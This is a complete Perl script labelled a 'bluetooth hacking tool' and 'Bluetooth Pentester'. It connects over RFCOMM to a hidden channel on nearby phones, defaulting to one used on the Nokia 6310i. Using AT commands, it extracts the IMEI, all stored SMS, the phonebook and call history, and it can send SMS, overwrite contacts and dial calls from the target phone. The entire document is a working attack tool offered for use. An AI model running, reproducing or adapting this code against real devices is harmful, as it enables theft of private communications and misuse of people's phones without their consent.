#!/usr/bin/perl  
# 
# bluetooth hacking tool
#
# written by pierre kroma 
# kroma@syss.de

use Device::Gsm;
use Getopt::Std;
use Term::ReadLine;
use Device::Modem;
use Term::ANSIColor;


############################ U S A G E ###################################
getopts("bcpsv", \%args);

system ("clear");
print "\nBluetooth Pentester\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";

if (!defined $args{s})  {
print qq~
Usage: perl bluetest.pl -s { -b <bt-addr> -c channel -p -v }
        -b <bt-addr>   = hardware address of the target bluetooth device (example: 00:11:22:33:44:55)
        -c <channel>   = channel
  -p          = ping the remote device
  -s          = start the script
        -v             = be verbose

~; exit;}


################################## D E F I N I T I O N ####################
# tools
my $hcitool="/usr/bin/hcitool";
my $l2ping ="/usr/bin/l2ping";
my $rfcomm ="/usr/bin/rfcomm";
my $lsusb = "/usr/sbin/lsusb";
my $hciconfig = "/usr/sbin/hciconfig";
my $bluefw = "/sbin/bluefw";

# variable
my $bluedev="hci0";
my $bt_addr = 0;
my $channel = $args{c};
my $i = 0;



#################### S U B R O U T I N E S #################################

sub init_adapter
{
  use strict;

  my $busnum = "";
  my $devnum = "";
  # busid 0a12:0001 = linksys USBBT100 usb bluetooth stick
  my $id = `$lsusb 2>/dev/null |grep 0a12:0001`;
  # more generic
  # my $id = `$lsusb 2>/dev/null |grep -i bluetooth`;

  if ( $id =~ /Bus (\d{3}) Device (\d{3}): ID 0a12:0001/ ) 
  {
    $busnum = $1;
    $devnum = $2;
    system("$bluefw usb $busnum\/$devnum");
    system("$hciconfig $bluedev up");
    sleep(1.5);
  }
}

sub init_modem
{
  $modem = new Device::Modem( port => '/dev/rfcomm0' );
  if( $modem->connect( baudrate => 9600 ) ) {
          # print "connected!\n";
    } else {
          print "sorry, cannot connect to your serial port!\n";
    }
  # turn off the local echo
  $modem->echo(0); 
}

sub searching 
{
  print color 'bold blue';  
  print "search devices\n";
  print color 'reset';
  my @scan = `$hcitool scan | grep -v "Scanning"`;
  foreach $line (@scan)
  {
    print $i++;
    print $line;
  }
  print "\n";
}

sub selecting
{
  # select a device
  if($args{'b'})
  {  
    $bt_addr = $args{b};  
  }
  else
  {
    $term = new Term::ReadLine 'bluetooth address reader';
    my $prompt = "Enter hw-addr (example: 00:11:22:33:44:55): ";
    my $OUT = $term->OUT || \*STDOUT;
    $bt_addr = $term->readline($prompt);
  }
}


sub ping
{
  # ping the remote device
  if($args{'p'})
  {
      # ping the remote device
      print color 'bold blue';
      print "\nping the remote device $bt_addr\n";
      print color 'reset';
      die "You must be root to use l2ping!\n" if $> != 0;
      system ("$l2ping -c 5 $bt_addr");
  }
}

sub binding
{
  # binding a device
  print color 'bold blue';
  print "\n\nbind a device to $bt_addr \t\t";
  print color 'reset';
  if($args{'c'})
  {
    $channel = $args{c};
  }
  else
  {
    # setting default nokia 6310i hidden channel 17 or 18
    $channel = 17;
  }

  system("$rfcomm release $bluedev 2>/dev/null");
  sleep(2);
  system("$rfcomm bind $bluedev $bt_addr $channel 2>/dev/null");
  sleep(2);

  # Connect to the mobile phone
  # for devfs
  # my $gsm = new Device::Gsm( port => '/dev/bluetooth/rfcomm/0' );

  # for udev 
  $gsm = new Device::Gsm( port => '/dev/rfcomm0' );

    if( $gsm->connect() ) 
  {
    print color 'bold green';
          print "connected!\n";
    print color 'reset';
    } 
  else 
  {
    print color 'bold red';
          print "sorry, no connection with gsm phone on serial port!\n";
    print color 'reset';
    exit (1);
    }

  # Register to GSM network 
  $gsm->register();
}

sub manu
{
  # Extract the manufacturer
  my $man_name = $gsm->manufacturer();
  print "manufacture: $man_name \n";
}

sub model
{
  # model
  my $model = $gsm->model();
  print "model: $model \n";
}

sub sw
{
  # software revision
  $modem->atsend( 'AT+CGMR' . Device::Modem::CR );
    $rev = $modem->answer();
  $rev =~ s/\r//g;
  $rev =~ s/OK//g;
  print "software revision: \n \n $rev";
  sleep(1);
}

sub imei
{
  # Extract the IMEI number
  my $imei = $gsm->imei();
  $imei =~ s/\r//g;
  $imei =~ s/OK//g;
  print "IMEI: (International Mobile Equipment Identifier) = $imei \n\n";
}


sub readbook
{
  print color 'bold blue';
  print "\n\nextract the phonebook\n\n";
  print color 'reset';
  if($args{'v'})  
  {
  print "storagelocation:";
  print qq~
ME => storage: device
SM => storage: SIM-card
MT => combination of ME + SM (doesn´t work FOR MY 6310i)
BM => storage: CB-news
  ~;
  }
    
  print "\nsupported storage location";
  $modem->atsend( 'AT+CPMS=?' . Device::Modem::CR );
    $types = $modem->answer();
  $types =~ s/\r//g;
        $types =~ s/\n//g;
  $types =~ s/OK//g;
  $types =~ s/\+CPMS//g;
  print "$types \n";
  
  print "\ncurrent phonebooksource";
  $modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
    $source = $modem->answer();
  $source =~ s/\r//g;
        $source =~ s/\n//g;
  $source =~ s/OK//g;
  $source =~ s/\+CPBS//g;
  print $source;
  print "\n\n";

  print "\ncurrent used storage on device";
  $command="AT+CPBS=\"ME\"";
  $modem->atsend( $command . Device::Modem::CR );
  $modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
    $memory = $modem->answer();
  $memory =~ s/\r//g;
        $memory =~ s/\n//g;
  $memory =~ s/OK//g;
  $memory =~ s/\+CPBS//g;
  print $memory;

  print "\ncurrent used storage on SIM";
  $command="AT+CPBS=\"SM\"";
  $modem->atsend( $command . Device::Modem::CR );
  $modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
    $source = $modem->answer();
  $source =~ s/\r//g;
        $source =~ s/\n//g;
  $source =~ s/OK//g;
  $source =~ s/\+CPBS//g;
  print $source;
  print "\n\n";

  my $prompt = "What do you want to readout? (ME oder SM) : ";
  my $OUT = $term->OUT || \*STDOUT;
  $type = $term->readline($prompt);

  $command = "AT+CPBS=\"$type\"";
  $modem->atsend( $command . Device::Modem::CR );
    $asource = $modem->answer();
  $asource =~ s/\r//g;
        $asource =~ s/\n//g;
  $asource =~ s/OK//g;
  print $asource;

  my $prompt = "starting from entry (>=0): \t ";
  my $OUT = $term->OUT || \*STDOUT;
  $start = $term->readline($prompt);
  print "\n";
  my $prompt = "ending to entry:\t\t";
  my $OUT = $term->OUT || \*STDOUT;
  $max = $term->readline($prompt);
  print "\n";

  if ( $start > $max || $start <= '0' )
  {
    print "oops damn f*cking long night? \n";
    print "initial value <= 0? \n";
    print "or initial value  > final value? \n";
    exit (1);
  }
  list_entries ();

  print "\nextract last 5 dialled numbers: \n";
  $command = "AT+CPBS=\"DC\"";
  $modem->atsend( $command . Device::Modem::CR );
    $asource = $modem->answer();
  $asource =~ s/\r//g;
        $asource =~ s/\n//g;
  $asource =~ s/OK//g;
  print $asource;
  $start=1;
  $max=5;
  list_entries ();

  print "\nlast 5 missed calls: \n";
  $command = "AT+CPBS=\"MC\"";
  $modem->atsend( $command . Device::Modem::CR );
    $asource = $modem->answer();
  $asource =~ s/\r//g;
        $asource =~ s/\n//g;
  $asource =~ s/OK//g;
  print $asource;
  $start=1;
  $max=5;
  list_entries ();

  print "\nlast 5 received calls: \n";
  $command = "AT+CPBS=\"RC\"";
  $modem->atsend( $command . Device::Modem::CR );
    $asource = $modem->answer();
  $asource =~ s/\r//g;
        $asource =~ s/\n//g;
  $asource =~ s/OK//g;
  print $asource;
  $start=1;
  $max=5;
  list_entries ();
}

sub list_entries
{
  $i = $start;
  foreach $i ( $start..$max )
  {
    $command = "AT+CPBR=$i";
    $modem->atsend( $command . Device::Modem::CR );  
    $entry = $modem->answer();

    # format
    $entry =~ s/\r//g;
          $entry =~ s/\n//g;
    $entry =~ s/OK//g;

    # parse
    # type = 145 = international format = number starts with +
    # type = 129 = unknown number format = didn't start with +

          ( $pos, $num, $type, $tag ) = $entry =~ m/^\+CPBR: ($i),"(.+?)",(\d+),"(.+)?"\r?$/m;

    $type =~ s/145/international/g;
    $type =~ s/129/unknown/g;
  
    if ( $num == '' )
    {  
      print "entry $i: is empty \n";
    }
    else
    {
      print "entry $i: $num, $type, $tag \n";
      
    }
  }
}

sub sendsms
{
  # Send a text message quickly
  print color 'bold blue';
  print "\n\nwrite a message (SMS)\n";
  print color 'reset';
  print "\n";
  my $prompt = "recipient (example +4912345678): ";
  my $OUT = $term->OUT || \*STDOUT;
  $recipient = $term->readline($prompt);
  print "\n";

  my $prompt = "message: ";
  my $OUT = $term->OUT || \*STDOUT;
  $message = $term->readline($prompt);

  my $status = $gsm->send_sms(
               recipient => $recipient,
               content   => $message
        );
  if ( $status )
  {  
    print color 'bold green';
    print "\nmessage transmitted successfully.\n";
    print color 'reset';
  }
  else
  {
    print color 'bold red';
    print "\nERROR: message couldn`t delivered.\n" ;
    print color 'reset';
  }
  sleep(2);
}

sub readsms
{
  # Get list of device::Gsm::Sms message objects
  # see `examples/read_messages.pl' for all details
  
  # get mode status
  $modem->atsend( 'AT+CMGF?' . Device::Modem::CR );
  print color 'bold blue';
  print "\nSMS Menu";
  print color 'reset';
  print "\n \ncurrent sms status (0=PDU, 1=text)";
    my $status = $modem->answer();
  $status =~ s/\r//g;
        $status =~ s/\n//g;
  $status =~ s/OK//g;
  $status =~ s/\+CMGF//g;
  print $status;
  sleep(2);
  
  # switch to text mode (does not work with 6310i)
  # print "switch to text mode \n";
  # $modem->atsend( 'AT+CMGF=1' . Device::Modem::CR );
    # print $modem->answer();

  print "\n\nextract all sms \n";  
  $modem->atsend( 'AT+CMGL=4' . Device::Modem::CR );
    my $extract = $modem->answer();
  $extract =~ s/OK//g;
  $extract =~ s/\+CMGL://g;
  sleep(2);
  print $extract;
  
}

sub call
{
  # read number  
  print color 'bold blue';
  print "\n\nmaking a call\n";
  print color 'reset';
  print "\n";
  my $prompt = "Which number should be called? (example: 004970714078560): ";
  my $OUT = $term->OUT || \*STDOUT;
  $number = $term->readline($prompt);
  print "\ncalling $number \n";  
  my $max = 20;
  if (fork)
  {
    $modem->dial( $number );
  }
  else
  {
    print "waiting $max seconds before ring off: ";
    $i = 0;
    foreach $i ( 1..$max )
    {  
      print "$i ";
      sleep(1);
    }
    print "\n";
    $modem->hangup();
  }
}

sub writebook 
{
  print color 'bold blue';
  print "\ncreate a phonebook entry";
  print color 'reset';
  print "\n";
  my $prompt = "storage space number (ATTENTION: you may overwrite an existing entry:): ";
  my $OUT = $term->OUT || \*STDOUT;
  $nr = $term->readline($prompt);
  print "\n";
  my $prompt = "phone-number (format +49123456789): ";
  my $OUT = $term->OUT || \*STDOUT;
  $tel = $term->readline($prompt);
  print "\n";
  my $prompt = "name: ";
  my $OUT = $term->OUT || \*STDOUT;
  $name = $term->readline($prompt);
  print "\n";
  my $prompt = "storage location (ME=device, SM=SIM): ";
  my $OUT = $term->OUT || \*STDOUT;
  $place = $term->readline($prompt);

  $command="AT+CPBS=\"$place\"";
  $modem->atsend( $command . Device::Modem::CR );

  $command="AT+CPBW=$nr,\"$tel\",145,\"$name\"";
  $modem->atsend( $command . Device::Modem::CR );
    $source = $modem->answer();
  $source =~ s/\r//g;
        $source =~ s/\n//g;
  $source =~ s/OK//g;
  print $source;

  print "\n\nchecking......";
  $start = $nr - 5;
  $max = 5;
  if ( $start <= 0 )
  {
    $start = $nr;
  }
  $max = $nr + 5;
  print "\n extract your phonebook from storage space number $start to $max \n";
  list_entries ();
  print "\n";
}

sub key
{
  my $message = "- press any key -";
  my $OUT = $term->OUT || \*STDOUT;
  $term->readline($message);
}

sub final
{
  #system ('cat ./logo.txt');
  print color 'bold red';
  print "\t\t\t\twritten by pierre kroma (kroma\@syss.de)\n\n";
  print color 'reset';
  $modem->disconnect();
  print "\n";
}
  

############################# M A I N ###############################

init_adapter ();
searching ();
selecting ();
ping ();
binding ();
init_modem ();
print color 'bold blue';
print "\nextract device information\n";
print color 'reset';
manu ();
model ();
sw ();
imei ();
key();
readsms ();
sendsms ();
key ();
readbook ();
writebook ();
key ();
call ();
key ();
final ();